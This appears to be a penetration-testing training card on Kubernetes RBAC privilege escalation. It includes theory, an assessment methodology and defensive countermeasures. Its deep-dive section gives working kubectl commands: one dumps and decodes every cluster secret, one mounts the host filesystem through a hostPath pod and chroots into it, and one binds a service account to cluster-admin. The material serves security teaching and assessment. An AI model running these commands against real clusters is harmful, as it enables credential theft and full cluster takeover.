Kubernetes RBAC Privilege Escalation: ClusterRoleBinding Abuse and Service Account Token Misuse
Theory
Why This Matters
The 2018 Tesla Kubernetes cryptojacking incident is the most widely cited Kubernetes security breach. Attackers discovered that Tesla's Kubernetes dashboard was exposed without authentication. They created pods running cryptomining software under the kube-system namespace, configured resource limits to stay below monitoring thresholds, and used Tesla's cloud credentials (found in a pod's environment variables) to obscure network traffic through an S3 bucket. The root cause was a combination of an exposed dashboard — which effectively granted cluster-admin to anyone who could reach it — and an overpermissive pod that had access to cloud credentials. In 2021, the Azurescape vulnerability demonstrated that RBAC misconfigurations in AKS multi-tenant clusters could allow container escape and cross-tenant privilege escalation. Kubernetes RBAC is the primary access control plane for the cluster; misconfigurations are routinely the highest-severity findings in Kubernetes security assessments.
Core Concept
Kubernetes RBAC is implemented through four object types. A Role contains rules specifying which verbs (get, list, watch, create, update, patch, delete, exec) are allowed on which resources (pods, secrets, configmaps, nodes) within a specific namespace. A ClusterRole is identical but applies cluster-wide or enables access to non-namespaced resources (nodes, persistentvolumes, clusterroles). A RoleBinding grants a Role or ClusterRole to a subject (User, Group, or ServiceAccount) within a namespace. A ClusterRoleBinding grants a ClusterRole to a subject across the entire cluster.
The five most dangerous RBAC permission combinations are:
pods/exec: create— allowskubectl execinto any pod in scope, providing an interactive shell without any additional authentication. Equivalent to remote code execution on the pod.secrets: get/list/watchat cluster scope — reads all Secrets across all namespaces, including service account tokens, TLS private keys, and application credentials.pods: createwith ability to specifyvolumes— allows creating a pod that mounts the host filesystem (hostPath) or any Kubernetes Secret as a volume, bypassing RBAC controls on those resources.clusterroles/clusterrolebindings: create— allows creating new RBAC bindings, enabling direct privilege escalation to cluster-admin.cluster-adminClusterRoleBinding to a service account — any pod using that service account has full unrestricted API server access.
kubectl auth can-i is the primary permission enumeration primitive. kubectl auth can-i --list shows all permissions for the current identity. The --as flag enables impersonation for testing other identities without needing their credentials.
Technical Deep-Dive
# ── Enumerate current permissions ─────────────────────────────
kubectl auth can-i --list
# Look for: * * (cluster-admin), secrets * *, pods/exec create
# Impersonation — test other service accounts
kubectl auth can-i --list --as=system:serviceaccount:default:default
kubectl auth can-i --list --as=system:serviceaccount:kube-system:tiller
kubectl auth can-i --list --as=system:serviceaccount:monitoring:prometheus
# ── Automated RBAC analysis ───────────────────────────────────
# rakkess — matrix view of all permissions
kubectl krew install access-matrix
kubectl access-matrix --sa kube-system:dashboard
# rbac-lookup — human-readable per-subject summary
rbac-lookup default --output wide --kind serviceaccount
rbac-lookup --output wide # all subjects
# kube-hunter — automated cluster security assessment
kubectl run kube-hunter --image=aquasec/kube-hunter --restart=Never -- --pod
# ── Dangerous permission exploitation ─────────────────────────
# 1. pods/exec — get a shell in any pod
kubectl exec -it $(kubectl get pod -o name | head -1) -- /bin/sh
# 2. secrets:list — read all secrets across namespaces
kubectl get secrets --all-namespaces -o json |
python3 -c "
import json,sys,base64
data=json.load(sys.stdin)
for s in data["items"]:
ns=s["metadata"]["namespace"]
nm=s["metadata"]["name"]
for k,v in s.get("data",{}).items():
print(f"{ns}/{nm}/{k}: {base64.b64decode(v).decode(errors=chr(63))}")
"
# 3. pods:create with hostPath (node filesystem access)
kubectl apply -f - << 'EOF'
apiVersion: v1
kind: Pod
metadata:
name: hostpath-escape
spec:
containers:
- name: shell
image: alpine
command: ["/bin/sh", "-c", "sleep 3600"]
volumeMounts:
- name: host
mountPath: /host
volumes:
- name: host
hostPath:
path: /
type: Directory
EOF
kubectl exec -it hostpath-escape -- chroot /host /bin/sh
# 4. ClusterRoleBinding creation → cluster-admin escalation
kubectl create clusterrolebinding pwned-admin
--clusterrole=cluster-admin
--serviceaccount=default:default
# ── Verify escalated access ────────────────────────────────────
kubectl auth can-i --list --as=system:serviceaccount:default:default
# Should now show * * for all resources
Security Assessment Methodology
- Enumerate all ClusterRoleBindings and RoleBindings —
kubectl get clusterrolebindings,rolebindings --all-namespaces -o json. Build a matrix of subjects to permissions. Flag anycluster-adminbinding not on a human administrator account. - Use
kubectl auth can-i --liston the current identity and use--asto test service accounts for all namespaces. Prioritise:kube-system,default,monitoring,ci,prod. - Run rakkess and rbac-lookup for rapid visual analysis of the RBAC matrix. Feed findings into the manual exploitation phase.
- Test
pods/exec— if the permission is present, exec into a running pod and search for mounted credentials, environment variables, and accessible cluster services. - Test
secrets:listat cluster scope — enumerate all secrets, decode all base64 values, and categorise findings by type (service account tokens, TLS keys, cloud credentials, application secrets). - Test pod creation with hostPath or secret mounting — attempt to create a pod that mounts
/from the host or mounts a sensitive Secret. Document whether PodSecurityAdmission or OPA Gatekeeper policies block the creation. - Run kube-hunter in pod mode — this provides automated detection of escape paths, exposed APIs, and network-level misconfigurations that complement manual RBAC analysis.
Defensive Countermeasure — Audit all ClusterRoleBindings quarterly using
kubectl get clusterrolebindings -o json | jq '.items[] | select(.roleRef.name == "cluster-admin") | .subjects'. Replace anycluster-adminbinding on a service account with a namespace-scoped Role with only the minimum required verbs. Enforce Pod Security Admission at therestrictedlevel cluster-wide (pod-security.kubernetes.io/enforce: restricted) to block hostPath volumes, privileged containers, and host network/PID access. For CI/CD service accounts, create a dedicated Role with only the specific resource types and verbs needed — never usecluster-adminfor automation.
Common Assessment Errors
- Only checking ClusterRoleBindings — namespace-scoped RoleBindings may grant sensitive permissions (like
secrets:getinproduction) without appearing in the cluster-wide binding list. Always enumerate both resource types across all namespaces. - Missing the
system:authenticatedgroup — some clusters inadvertently grant permissions to the built-insystem:authenticatedgroup (all authenticated users). Checkkubectl get clusterrolebindings -o json | jq '.items[] | select(.subjects[]?.name == "system:authenticated")'. - Treating PodSecurityAdmission as a RBAC control — PSA restricts pod creation parameters but does not restrict API server access or secret reads. A pod blocked by PSA from using hostPath can still read secrets via the API if the service account has that permission.
- Not testing the aggregated RBAC rules — ClusterRoles can have aggregation rules that automatically pull in rules from other ClusterRoles matching a label selector. Inspect
aggregationRulefields on ClusterRoles to understand the full effective permission set. - Overlooking the
system:mastersgroup — any user or service account in thesystem:mastersgroup bypasses RBAC entirely. Check certificates and service account tokens for group membership. - Ignoring Helm/Tiller service accounts — legacy Helm 2 Tiller deployments often have
cluster-adminand are a known persistence mechanism. Check for Tiller pods inkube-system.
NICE Framework Alignment
| Code | Knowledge/Skill/Task Statement | How This Card Develops It |
|---|---|---|
| K0053 | Knowledge of cloud infrastructure vulnerabilities and attack surfaces | Explains all four RBAC primitives, the five most dangerous permission combinations, and the Tesla cryptojacking breach as a real-world case |
| K0167 | Knowledge of systems security testing methodologies | Develops a seven-step structured RBAC assessment methodology from binding enumeration through privilege escalation verification |
| S0073 | Skill in using penetration testing tools and techniques against cloud infrastructure | Trains hands-on use of kubectl auth can-i, rakkess, rbac-lookup, kube-hunter, and hostPath escape techniques |
| T0144 | Task: Conduct penetration testing on cloud-hosted systems | Directly exercises all five dangerous RBAC exploitation paths including pods/exec, secrets enumeration, hostPath mounting, and ClusterRoleBinding creation |
| T0395 | Task: Recommend security controls for cloud environments | Develops ClusterRoleBinding audit processes, Pod Security Admission enforcement, and least-privilege service account design |
Further Reading
- "Tesla Cloud Resources Are Hacked to Mine Cryptocurrency" — RedLock Cloud Security Intelligence (2018)
- "Kubernetes RBAC — Good Practices" — Kubernetes Official Documentation
- "Attacking Kubernetes: A Guide for Administrators and Penetration Testers" — NCC Group Technical Report
Challenge Lab
Reinforce your learning with a hands-on generated challenge based on this card's competency.